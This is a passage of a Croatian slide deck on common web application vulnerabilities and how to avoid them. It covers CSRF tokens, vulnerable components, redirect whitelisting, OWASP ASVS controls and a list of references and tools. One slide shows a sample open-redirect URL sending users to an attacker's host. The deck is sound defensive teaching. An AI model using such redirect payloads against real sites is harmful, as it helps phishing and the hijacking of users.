Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 45: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Cross-Site Request Forgery (CSRF): kako izbjeći propust?

@using (Html.BeginForm("Manage", "Account")) {@Html.AntiForgeryToken()

}

AntiForgery.GetTokens / AntiForgery.Validate zaAJAX request (token se stavi u header u zahtjevu i validira naserverskoj strani)OWASP CSRF Prevention Cheat Sheet [7]

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 46: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Using Components with Known Vulnerabilities

ranjivosti od minornih do onih koje omogućuju potpunukompromitaciju žrtverepozitoriji s poznatim ranjivostima:

http://cve.mitre.orghttps://nvd.nist.gov/home.cfm

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 47: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Using Components with Known Vulnerabilities: ASVSkontrole

1.1 Verify that all aplication components are identified and areknown to be needed1.11 Verify that all application components, libraries, modules,frameworks, platform, and operating systems are free fromknown vulnerabilities

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 48: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Using Components with Known Vulnerabilities: kakoizbjeći propust?

ažurirati komponentepratiti obavijesti vendorapratiti mailing liste (npr. Bugtraq, Full Disclosure,http://seclists.org/)

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 49: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Unvalidated Redirects and Forwards: primjeri

preusmjeravanje korisnika se ne provjerava whitelistomhttp://primjer.com/redirect?url=napadac.com

http://primjer.com/wizard?fwd=admin

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 50: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Unvalidated Redirects and Forwards: ASVS kontrole iujedno odgovor kako izbjeći propust

16.1 Verify that URL redirects and forwards only allowwhitelisted destinations, or show a warning when redirectingto potentially untrusted content.

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 51: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Zaključak

OWASP ASVS je primjer okvira koji pomaže u usaglašavanjutražene i pružene usluge, odnosno proizvodapokriva na konzistentan način područje sigurnosti webaplikacija

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 52: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Hvala na pažnji. Pitanja?

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 53: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Linkovi I

Primjeri su preuzeti u izvornom obliku ili modificirani iz [4] i [2].

Open Web Application Security Project: "Application SecurityVerification Standard 3.0.1", lipanj 2016.,https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project

Open Web Application Security Project: "Top Ten Project",2013.,https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Open Web Application Security Project: "Testing Guide v4",2014.,https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 54: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Linkovi II

Open Web Application Security Project: "Code Review ProjectGuide v2.0",https://www.owasp.org/index.php/Code_Review_Guide

Open Web Application Security Project: "Forgot PasswordCheat Sheet",https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet

Open Web Application Security Project: "XSS PreventionCheat Sheet",https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 55: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Linkovi III

Open Web Application Security Project: "Cross-Site RequestForgery (CSRF) Prevention Cheat Sheet",https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

OWASP Zed Attack Proxy Project,https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

sqlmap,https://github.com/sqlmapproject/sqlmap

Metasploit Framework,https://www.metasploit.com

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 56: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Linkovi IV

OpenVAS,http://www.openvas.org/

Kali Linux,https://www.kali.org

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći